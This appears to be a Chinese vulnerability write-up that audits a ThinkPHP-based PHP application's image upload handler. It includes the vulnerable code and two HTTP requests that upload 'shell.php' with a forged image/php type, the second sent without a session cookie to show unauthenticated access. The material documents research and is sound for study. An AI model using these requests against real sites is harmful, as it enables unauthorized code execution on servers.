<span class=k>if</span> <span class=p>(</span><span class=err>$</span><span class=n>r</span><span class=p>)</span> <span class=p>{</span>
<span class=err>$</span><span class=n>uploadImg</span> <span class=o>=</span> <span class=err>$</span><span class=n>r</span><span class=p>[</span><span class=mi>0</span><span class=p>]</span><span class=o>-&gt;</span><span class=n>uploadImg</span><span class=p>;</span>
<span class=o>//</span> <span class=err>图片上传位置</span>
<span class=k>if</span> <span class=p>(</span><span class=n>empty</span><span class=p>(</span><span class=err>$</span><span class=n>uploadImg</span><span class=p>))</span> <span class=p>{</span>
<span class=err>$</span><span class=n>uploadImg</span> <span class=o>=</span> <span class=s2>"../images"</span><span class=p>;</span>
<span class=p>}</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=err>$</span><span class=n>uploadImg</span> <span class=o>=</span> <span class=s2>"../images"</span><span class=p>;</span>
<span class=p>}</span>
<span class=err>$</span><span class=n>imgURL</span> <span class=o>=</span> <span class=p>(</span><span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'file'</span><span class=p>][</span><span class=s1>'tmp_name'</span><span class=p>]);</span>
<span class=err>$</span><span class=nb>type</span> <span class=o>=</span> <span class=n>str_replace</span><span class=p>(</span><span class=s1>'image/'</span><span class=p>,</span> <span class=s1>'.'</span><span class=p>,</span> <span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'file'</span><span class=p>][</span><span class=s1>'type'</span><span class=p>]);</span>
<span class=err>$</span><span class=n>imgURL_name</span> <span class=o>=</span> <span class=n>time</span><span class=p>()</span> <span class=o>.</span> <span class=n>mt_rand</span><span class=p>(</span><span class=mi>1</span><span class=p>,</span> <span class=mi>1000</span><span class=p>)</span> <span class=o>.</span> <span class=err>$</span><span class=nb>type</span><span class=p>;</span>
<span class=n>move_uploaded_file</span><span class=p>(</span><span class=err>$</span><span class=n>imgURL</span><span class=p>,</span> <span class=err>$</span><span class=n>uploadImg</span> <span class=o>.</span> <span class=err>$</span><span class=n>imgURL_name</span><span class=p>);</span>
<span class=n>echo</span> <span class=err>$</span><span class=n>imgURL_name</span><span class=p>;</span>
<span class=p>}</span>
</pre></div>
<p>和刚刚看到的后台内容类似,也是替换后拼接可以控制后缀,尝试上传<br>
因为是基于TP的因此我们构造接口调用,直接上传报错</p>
<div class=highlight><pre><span></span><span class=n>POST</span> <span class=o>/</span><span class=n>index</span><span class=o>.</span><span class=n>php</span><span class=err>?</span><span class=n>module</span><span class=o>=</span><span class=n>api</span><span class=o>&amp;</span><span class=n>action</span><span class=o>=</span><span class=n>user</span><span class=o>&amp;</span><span class=n>m</span><span class=o>=</span><span class=n>upload</span> <span class=n>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
<span class=n>Host</span><span class=p>:</span> <span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
<span class=n>User</span><span class=o>-</span><span class=n>Agent</span><span class=p>:</span> <span class=n>Mozilla</span><span class=o>/</span><span class=mf>5.0</span> <span class=p>(</span><span class=n>Windows</span> <span class=n>NT</span> <span class=mf>10.0</span><span class=p>;</span> <span class=n>Win64</span><span class=p>;</span> <span class=n>x64</span><span class=p>;</span> <span class=n>rv</span><span class=p>:</span><span class=mf>123.0</span><span class=p>)</span> <span class=n>Gecko</span><span class=o>/</span><span class=mi>20100101</span> <span class=n>Firefox</span><span class=o>/</span><span class=mf>123.0</span>
<span class=n>Accept</span><span class=p>:</span> <span class=n>text</span><span class=o>/</span><span class=n>html</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xhtml</span><span class=o>+</span><span class=n>xml</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xml</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.9</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>avif</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>webp</span><span class=p>,</span><span class=o>*/*</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span>
<span class=n>Accept</span><span class=o>-</span><span class=n>Language</span><span class=p>:</span> <span class=n>zh</span><span class=o>-</span><span class=n>CN</span><span class=p>,</span><span class=n>zh</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>TW</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.7</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>HK</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.5</span><span class=p>,</span><span class=n>en</span><span class=o>-</span><span class=n>US</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.3</span><span class=p>,</span><span class=n>en</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.2</span>
<span class=n>Accept</span><span class=o>-</span><span class=n>Encoding</span><span class=p>:</span> <span class=n>gzip</span><span class=p>,</span> <span class=n>deflate</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>multipart</span><span class=o>/</span><span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>boundary</span><span class=o>=---------------------------</span><span class=mi>323553422223467167571808530788</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Length</span><span class=p>:</span> <span class=mi>243</span>
<span class=n>Origin</span><span class=p>:</span> <span class=n>http</span><span class=p>:</span><span class=o>//</span><span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
<span class=n>Connection</span><span class=p>:</span> <span class=n>close</span>
<span class=n>Cookie</span><span class=p>:</span> <span class=n>admin_mojavi</span><span class=o>=</span><span class=n>idaa1su8mvj9leoubg27osau0r</span><span class=p>;</span> <span class=n>XDEBUG_SESSION</span><span class=o>=</span><span class=n>PHPSTORM</span>
<span class=n>Upgrade</span><span class=o>-</span><span class=n>Insecure</span><span class=o>-</span><span class=n>Requests</span><span class=p>:</span> <span class=mi>1</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Dest</span><span class=p>:</span> <span class=n>iframe</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Mode</span><span class=p>:</span> <span class=n>navigate</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Site</span><span class=p>:</span> <span class=n>same</span><span class=o>-</span><span class=n>origin</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>User</span><span class=p>:</span> <span class=err>?</span><span class=mi>1</span>
<span class=o>-----------------------------</span><span class=mi>323553422223467167571808530788</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Disposition</span><span class=p>:</span> <span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>name</span><span class=o>=</span><span class=s2>"imgFile"</span><span class=p>;</span> <span class=n>filename</span><span class=o>=</span><span class=s2>"shell.php"</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span><span class=n>image</span><span class=o>/</span><span class=n>php</span>
<span class=o>&lt;</span><span class=err>?</span><span class=n>php</span> <span class=n>phpinfo</span><span class=p>();</span> <span class=err>?</span><span class=o>&gt;</span>
<span class=o>-----------------------------</span><span class=mi>323553422223467167571808530788</span><span class=o>--</span>
</pre></div>
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301142054-dc17a2d6-d793-1.png><img src=data:image/png;base64,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 truncated
<p>修改name为file即可,并且为测试是未授权将Cookie删除,这里虽然只返回了文件名但根据代码的审计发现其路径依旧为/images</p>
<div class=highlight><pre><span></span><span class=n>POST</span> <span class=o>/</span><span class=n>index</span><span class=o>.</span><span class=n>php</span><span class=err>?</span><span class=n>module</span><span class=o>=</span><span class=n>api</span><span class=o>&amp;</span><span class=n>action</span><span class=o>=</span><span class=n>user</span><span class=o>&amp;</span><span class=n>m</span><span class=o>=</span><span class=n>upload</span> <span class=n>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
<span class=n>Host</span><span class=p>:</span> <span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
<span class=n>User</span><span class=o>-</span><span class=n>Agent</span><span class=p>:</span> <span class=n>Mozilla</span><span class=o>/</span><span class=mf>5.0</span> <span class=p>(</span><span class=n>Windows</span> <span class=n>NT</span> <span class=mf>10.0</span><span class=p>;</span> <span class=n>Win64</span><span class=p>;</span> <span class=n>x64</span><span class=p>;</span> <span class=n>rv</span><span class=p>:</span><span class=mf>123.0</span><span class=p>)</span> <span class=n>Gecko</span><span class=o>/</span><span class=mi>20100101</span> <span class=n>Firefox</span><span class=o>/</span><span class=mf>123.0</span>
<span class=n>Accept</span><span class=p>:</span> <span class=n>text</span><span class=o>/</span><span class=n>html</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xhtml</span><span class=o>+</span><span class=n>xml</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xml</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.9</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>avif</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>webp</span><span class=p>,</span><span class=o>*/*</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span>
<span class=n>Accept</span><span class=o>-</span><span class=n>Language</span><span class=p>:</span> <span class=n>zh</span><span class=o>-</span><span class=n>CN</span><span class=p>,</span><span class=n>zh</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>TW</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.7</span><span class=p>,</span><span class=n>zh</span><span class=o>-</span><span class=n>HK</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.5</span><span class=p>,</span><span class=n>en</span><span class=o>-</span><span class=n>US</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.3</span><span class=p>,</span><span class=n>en</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.2</span>
<span class=n>Accept</span><span class=o>-</span><span class=n>Encoding</span><span class=p>:</span> <span class=n>gzip</span><span class=p>,</span> <span class=n>deflate</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>multipart</span><span class=o>/</span><span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>boundary</span><span class=o>=---------------------------</span><span class=mi>323553422223467167571808530788</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Length</span><span class=p>:</span> <span class=mi>240</span>
<span class=n>Origin</span><span class=p>:</span> <span class=n>http</span><span class=p>:</span><span class=o>//</span><span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
<span class=n>Connection</span><span class=p>:</span> <span class=n>close</span>
<span class=n>Upgrade</span><span class=o>-</span><span class=n>Insecure</span><span class=o>-</span><span class=n>Requests</span><span class=p>:</span> <span class=mi>1</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Dest</span><span class=p>:</span> <span class=n>iframe</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Mode</span><span class=p>:</span> <span class=n>navigate</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>Site</span><span class=p>:</span> <span class=n>same</span><span class=o>-</span><span class=n>origin</span>
<span class=n>Sec</span><span class=o>-</span><span class=n>Fetch</span><span class=o>-</span><span class=n>User</span><span class=p>:</span> <span class=err>?</span><span class=mi>1</span>
<span class=o>-----------------------------</span><span class=mi>323553422223467167571808530788</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Disposition</span><span class=p>:</span> <span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>name</span><span class=o>=</span><span class=s2>"file"</span><span class=p>;</span> <span class=n>filename</span><span class=o>=</span><span class=s2>"shell.php"</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span><span class=n>image</span><span class=o>/</span><span class=n>php</span>
<span class=o>&lt;</span><span class=err>?</span><span class=n>php</span> <span class=n>phpinfo</span><span class=p>();</span> <span class=err>?</span><span class=o>&gt;</span>
<span class=o>-----------------------------</span><span class=mi>323553422223467167571808530788</span><span class=o>--</span>
</pre></div>
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301142202-04afdac4-d794-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABVMAAALjCAYAAAAfsJUeAAEAAElEQVR4nOzdd1hT1xsH8C/KcO89EQFFcdQJ2rqqOKutq2q1tm6tCydW62yte9W696i2+rNYFfdWUFFRAUWGuBGUIciScX5/QEJC1g2E6ffzPDyac0/OeXNzkrw5ufdco4SEBAEiIiIiIiIiIiIi0qpATgdARERERERERERElBdwMpWIiIiIiIiIiIhIAk6mEhEREREREREREUnAyVQiIiIiIiIiIiIiCYwvnz2b0zEQERERERERERER5XpGQgiR00EQERER0acpPCwMd2/eRJOWLVG6TJmcDoeIiIiISCue5k9EREREREREREQkASdTiYiIiIiIiIiIiCTgZCoRERERERERERGRBJxMJSIiIiIiIiIiIpKAk6lEREREREREREREEnAylYiIiIiIiIiIiEgCTqYSERERERERERERSWCc0wEQERERERERERFll8TERPn/64/bm4ORaPfX6IYoWaJETochyfvISADI9fGa16ol/7+xccamRTmZSkREREREREREn5TcPIlKWedpYCAA5UlVffE0fyIiIiIiIiIiIiIJOJlKRERERERERESfDB6VSrIjVDOCk6lEREREREREREREEnAylYiIiIiIiIiIiEgCTqYSERERERERERERScDJVCIiIiIiIiIiIiIJjHM6ACIiIiIiIiIiotymjW01AMCSH7/QWi84PBrf/PofAODfOT1RsXRRrfWddl7FFa+XhglSg3+PHgUAJCQk6H1fExMTAMA3vXoZNCZt/j16NEOxAinxZmesnEwlIiIiIiIiIiJKx9Q45YTussULaa33MSFJ/v/SxQrprC9rNyvFx8cDABISEvW+b3JysqHD0Sk+Pj5DsQLZHy9P8yciIiIiIiIiIiKSgJOpRERERERERERERBLwNH8iIiIiIiIiIqJ8pEiRIgCAxET9T503NuZ0oTY8MpWIiIiIiIiIiIhIAk41ExERERERERER5SM9e/TI6RDyLU6mEhERERERERER5SP/HT8OIHOn+XNCVj2e5k9EREREREREREQkAY9MJSIiIiIiIiIiykdiYmIAAAkJ+h+ZamLC6UJteGQqERERERERERERkQScTCUiIiIiIiIiIiKSgMftEhERERERERERpfMxMRkAEBoVp7Ve+Ic4pf+b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iIiIiHIFQ+ax+uSJil65ABtdVMurjge6myvE+hcQ1CRtaQL39Sl/iv0AQK/FhlkqS+rj0Xc/EREREeUDmVwZ3hzo2SPtptJpUubA3CNAc2s190NKItasRtrtyj8ACyYCVZOV61XtBixYrCWGNsC4HsoL5ANA81XASAftsesTnyZVuwEL/lJOXBsv1NwuEREREeUC5obLYzVRlyfKt41PuRiWuhx27g+q9UfcVb0olGI/Yw8rT8BmBZXHY26Y/URERESUhxgJIUS29BT0NO3/utZOktc1T03WniqfwtRTQ7Iou19G1maSGp8+jwNP09bC4npRRERERCrCw8Jw9+ZNNGnZEqXLlMnpcNQzVJ54YhDwn2/K/6uOT5s01TeH1SsfzQR9+8muuIiIiIhyUOZO89eHPglVRpOvzCRtUu+rVx/mhjnVioiIiIhyTpbkiZm4X3ZNVObWuIiIiIhyUCZP8yciIiIiIiIiIiL6NHAylYiIiIiIiIiIiEgCTqYSERERERERERERSZB9a6Zmijkw8kjaTa7HRERERER5TffFQBPZDfMcDISIiIiIMiqPTKaCE6hERERElMeZ8+KkRERERHkcT/MnIiIiIiIiIiIikoCTqUREREREREREREQScDKViIiIiIiIiIiISAJOphIRERERERERERFJwMlUI